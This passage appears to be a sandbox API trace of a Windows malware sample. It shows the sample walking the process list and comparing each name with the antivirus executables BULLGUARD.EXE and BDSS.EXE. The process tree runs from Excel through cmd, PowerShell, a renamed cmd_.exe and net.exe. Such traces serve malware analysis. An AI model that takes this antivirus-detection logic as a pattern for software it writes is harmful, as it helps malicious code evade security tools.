th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.204] lstrcpyW (in: lpString1=0x18f0a0, lpString2="zones transferred trainers.exe" | out: lpString1="zones transferred trainers.exe") returned="zones transferred trainers.exe" [0074.204] lstrlenW (lpString="zones transferred trainers.exe") returned 30 [0074.204] CharUpperBuffW (in: lpsz="zones transferred trainers.exe", cchLength=0x1e | out: lpsz="ZONES TRANSFERRED TRAINERS.EXE") returned 0x1e [0074.204] lstrcmpW (lpString1="ZONES TRANSFERRED TRAINERS.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.204] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.205] lstrcpyW (in: lpString1=0x18f0a0, lpString2="courses ham.exe" | out: lpString1="courses ham.exe") returned="courses ham.exe" [0074.205] lstrlenW (lpString="courses ham.exe") returned 15 [0074.205] CharUpperBuffW (in: lpsz="courses ham.exe", cchLength=0xf | out: lpsz="COURSES HAM.EXE") returned 0xf [0074.205] lstrcmpW (lpString1="COURSES HAM.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.205] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.205] lstrcpyW (in: lpString1=0x18f0a0, lpString2="canon.exe" | out: lpString1="canon.exe") returned="canon.exe" [0074.205] lstrlenW (lpString="canon.exe") returned 9 [0074.205] CharUpperBuffW (in: lpsz="canon.exe", cchLength=0x9 | out: lpsz="CANON.EXE") returned 0x9 [0074.205] lstrcmpW (lpString1="CANON.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.205] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.206] lstrcpyW (in: lpString1=0x18f0a0, lpString2="fairlysettingoperational.exe" | out: lpString1="fairlysettingoperational.exe") returned="fairlysettingoperational.exe" [0074.206] lstrlenW (lpString="fairlysettingoperational.exe") returned 28 [0074.206] CharUpperBuffW (in: lpsz="fairlysettingoperational.exe", cchLength=0x1c | out: lpsz="FAIRLYSETTINGOPERATIONAL.EXE") returned 0x1c [0074.206] lstrcmpW (lpString1="FAIRLYSETTINGOPERATIONAL.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.206] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.206] lstrcpyW (in: lpString1=0x18f0a0, lpString2="claimed desk.exe" | out: lpString1="claimed desk.exe") returned="claimed desk.exe" [0074.206] lstrlenW (lpString="claimed desk.exe") returned 16 [0074.206] CharUpperBuffW (in: lpsz="claimed desk.exe", cchLength=0x10 | out: lpsz="CLAIMED DESK.EXE") returned 0x10 [0074.206] lstrcmpW (lpString1="CLAIMED DESK.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.206] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.207] lstrcpyW (in: lpString1=0x18f0a0, lpString2="mel_ds_cancelled.exe" | out: lpString1="mel_ds_cancelled.exe") returned="mel_ds_cancelled.exe" [0074.207] lstrlenW (lpString="mel_ds_cancelled.exe") returned 20 [0074.207] CharUpperBuffW (in: lpsz="mel_ds_cancelled.exe", cchLength=0x14 | out: lpsz="MEL_DS_CANCELLED.EXE") returned 0x14 [0074.207] lstrcmpW (lpString1="MEL_DS_CANCELLED.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.207] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.207] lstrcpyW (in: lpString1=0x18f0a0, lpString2="appears_li_pressed_h.exe" | out: lpString1="appears_li_pressed_h.exe") returned="appears_li_pressed_h.exe" [0074.207] lstrlenW (lpString="appears_li_pressed_h.exe") returned 24 [0074.207] CharUpperBuffW (in: lpsz="appears_li_pressed_h.exe", cchLength=0x18 | out: lpsz="APPEARS_LI_PRESSED_H.EXE") returned 0x18 [0074.207] lstrcmpW (lpString1="APPEARS_LI_PRESSED_H.EXE", lpString2="BULLGUARD.EXE") returned -1 [0074.207] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.208] lstrcpyW (in: lpString1=0x18f0a0, lpString2="quite-consumer-opera.exe" | out: lpString1="quite-consumer-opera.exe") returned="quite-consumer-opera.exe" [0074.208] lstrlenW (lpString="quite-consumer-opera.exe") returned 24 [0074.208] CharUpperBuffW (in: lpsz="quite-consumer-opera.exe", cchLength=0x18 | out: lpsz="QUITE-CONSUMER-OPERA.EXE") returned 0x18 [0074.208] lstrcmpW (lpString1="QUITE-CONSUMER-OPERA.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.208] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.208] lstrcpyW (in: lpString1=0x18f0a0, lpString2="tile-conflict-specializing-authentic.exe" | out: lpString1="tile-conflict-specializing-authentic.exe") returned="tile-conflict-specializing-authentic.exe" [0074.208] lstrlenW (lpString="tile-conflict-specializing-authentic.exe") returned 40 [0074.208] CharUpperBuffW (in: lpsz="tile-conflict-specializing-authentic.exe", cchLength=0x28 | out: lpsz="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE") returned 0x28 [0074.208] lstrcmpW (lpString1="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.208] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.209] lstrcpyW (in: lpString1=0x18f0a0, lpString2="unlimited breakdown.exe" | out: lpString1="unlimited breakdown.exe") returned="unlimited breakdown.exe" [0074.209] lstrlenW (lpString="unlimited breakdown.exe") returned 23 [0074.209] CharUpperBuffW (in: lpsz="unlimited breakdown.exe", cchLength=0x17 | out: lpsz="UNLIMITED BREAKDOWN.EXE") returned 0x17 [0074.209] lstrcmpW (lpString1="UNLIMITED BREAKDOWN.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.209] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.209] lstrcpyW (in: lpString1=0x18f0a0, lpString2="aluminiumglmessagesymptoms.exe" | out: lpString1="aluminiumglmessagesymptoms.exe") returned="aluminiumglmessagesymptoms.exe" [0074.209] lstrlenW (lpString="aluminiumglmessagesymptoms.exe") returned 30 [0074.209] CharUpperBuffW (in: lpsz="aluminiumglmessagesymptoms.exe", cchLength=0x1e | out: lpsz="ALUMINIUMGLMESSAGESYMPTOMS.EXE") returned 0x1e [0074.209] lstrcmpW (lpString1="ALUMINIUMGLMESSAGESYMPTOMS.EXE", lpString2="BULLGUARD.EXE") returned -1 [0074.209] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.210] lstrcpyW (in: lpString1=0x18f0a0, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE" [0074.210] lstrlenW (lpString="EXCEL.EXE") returned 9 [0074.210] CharUpperBuffW (in: lpsz="EXCEL.EXE", cchLength=0x9 | out: lpsz="EXCEL.EXE") returned 0x9 [0074.210] lstrcmpW (lpString1="EXCEL.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.210] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.210] lstrcpyW (in: lpString1=0x18f0a0, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0074.210] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0074.210] CharUpperBuffW (in: lpsz="OSPPSVC.EXE", cchLength=0xb | out: lpsz="OSPPSVC.EXE") returned 0xb [0074.210] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.210] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0074.211] lstrcpyW (in: lpString1=0x18f0a0, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE" [0074.211] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0074.211] CharUpperBuffW (in: lpsz="MSOSYNC.EXE", cchLength=0xb | out: lpsz="MSOSYNC.EXE") returned 0xb [0074.211] lstrcmpW (lpString1="MSOSYNC.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.211] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.211] lstrcpyW (in: lpString1=0x18f0a0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.211] lstrlenW (lpString="svchost.exe") returned 11 [0074.211] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.211] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.211] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.212] lstrcpyW (in: lpString1=0x18f0a0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.212] lstrlenW (lpString="cmd.exe") returned 7 [0074.212] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.212] lstrcmpW (lpString1="CMD.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.212] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.212] lstrcpyW (in: lpString1=0x18f0a0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.212] lstrlenW (lpString="conhost.exe") returned 11 [0074.212] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.212] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.212] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0074.213] lstrcpyW (in: lpString1=0x18f0a0, lpString2="powershell.exe" | out: lpString1="powershell.exe") returned="powershell.exe" [0074.213] lstrlenW (lpString="powershell.exe") returned 14 [0074.213] CharUpperBuffW (in: lpsz="powershell.exe", cchLength=0xe | out: lpsz="POWERSHELL.EXE") returned 0xe [0074.213] lstrcmpW (lpString1="POWERSHELL.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.213] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0074.213] lstrcpyW (in: lpString1=0x18f0a0, lpString2="cmd_.exe" | out: lpString1="cmd_.exe") returned="cmd_.exe" [0074.213] lstrlenW (lpString="cmd_.exe") returned 8 [0074.213] CharUpperBuffW (in: lpsz="cmd_.exe", cchLength=0x8 | out: lpsz="CMD_.EXE") returned 0x8 [0074.213] lstrcmpW (lpString1="CMD_.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.213] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.214] lstrcpyW (in: lpString1=0x18f0a0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.214] lstrlenW (lpString="taskeng.exe") returned 11 [0074.214] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.214] lstrcmpW (lpString1="TASKENG.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.214] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.214] lstrcpyW (in: lpString1=0x18f0a0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.214] lstrlenW (lpString="cmd.exe") returned 7 [0074.214] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.214] lstrcmpW (lpString1="CMD.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.214] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.215] lstrcpyW (in: lpString1=0x18f0a0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.215] lstrlenW (lpString="conhost.exe") returned 11 [0074.215] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.215] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.215] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.215] lstrcpyW (in: lpString1=0x18f0a0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.215] lstrlenW (lpString="cmd.exe") returned 7 [0074.215] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.215] lstrcmpW (lpString1="CMD.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.216] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.216] lstrcpyW (in: lpString1=0x18f0a0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.216] lstrlenW (lpString="conhost.exe") returned 11 [0074.216] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.216] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.216] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.216] lstrcpyW (in: lpString1=0x18f0a0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.217] lstrlenW (lpString="cmd.exe") returned 7 [0074.217] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.217] lstrcmpW (lpString1="CMD.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.217] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.217] lstrcpyW (in: lpString1=0x18f0a0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.217] lstrlenW (lpString="conhost.exe") returned 11 [0074.217] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.217] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.217] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.218] lstrcpyW (in: lpString1=0x18f0a0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.218] lstrlenW (lpString="cmd.exe") returned 7 [0074.218] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.218] lstrcmpW (lpString1="CMD.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.218] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.218] lstrcpyW (in: lpString1=0x18f0a0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.218] lstrlenW (lpString="net.exe") returned 7 [0074.218] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.218] lstrcmpW (lpString1="NET.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.218] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.219] lstrcpyW (in: lpString1=0x18f0a0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.219] lstrlenW (lpString="conhost.exe") returned 11 [0074.219] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.219] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BULLGUARD.EXE") returned 1 [0074.219] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0074.219] CloseHandle (hObject=0x118) returned 1 [0074.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.221] lstrcpyW (in: lpString1=0x18eea8, lpString2="bdss.exe" | out: lpString1="bdss.exe") returned="bdss.exe" [0074.221] lstrlenW (lpString="bdss.exe") returned 8 [0074.221] CharUpperBuffW (in: lpsz="bdss.exe", cchLength=0x8 | out: lpsz="BDSS.EXE") returned 0x8 [0074.221] Process32FirstW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.221] lstrcpyW (in: lpString1=0x18f0b0, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0074.221] lstrlenW (lpString="[System Process]") returned 16 [0074.221] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0074.221] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="BDSS.EXE") returned -1 [0074.221] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.222] lstrcpyW (in: lpString1=0x18f0b0, lpString2="System" | out: lpString1="System") returned="System" [0074.222] lstrlenW (lpString="System") returned 6 [0074.222] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0074.222] lstrcmpW (lpString1="SYSTEM", lpString2="BDSS.EXE") returned 1 [0074.222] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.222] lstrcpyW (in: lpString1=0x18f0b0, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0074.222] lstrlenW (lpString="smss.exe") returned 8 [0074.222] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0074.222] lstrcmpW (lpString1="SMSS.EXE", lpString2="BDSS.EXE") returned 1 [0074.222] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.222] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.223] lstrlenW (lpString="csrss.exe") returned 9 [0074.223] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.223] lstrcmpW (lpString1="CSRSS.EXE", lpString2="BDSS.EXE") returned 1 [0074.223] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.223] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0074.223] lstrlenW (lpString="wininit.exe") returned 11 [0074.223] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0074.223] lstrcmpW (lpString1="WININIT.EXE", lpString2="BDSS.EXE") returned 1 [0074.223] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.224] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.224] lstrlenW (lpString="csrss.exe") returned 9 [0074.224] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.224] lstrcmpW (lpString1="CSRSS.EXE", lpString2="BDSS.EXE") returned 1 [0074.224] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.224] lstrcpyW (in: lpString1=0x18f0b0, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0074.224] lstrlenW (lpString="winlogon.exe") returned 12 [0074.224] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0074.224] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="BDSS.EXE") returned 1 [0074.224] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 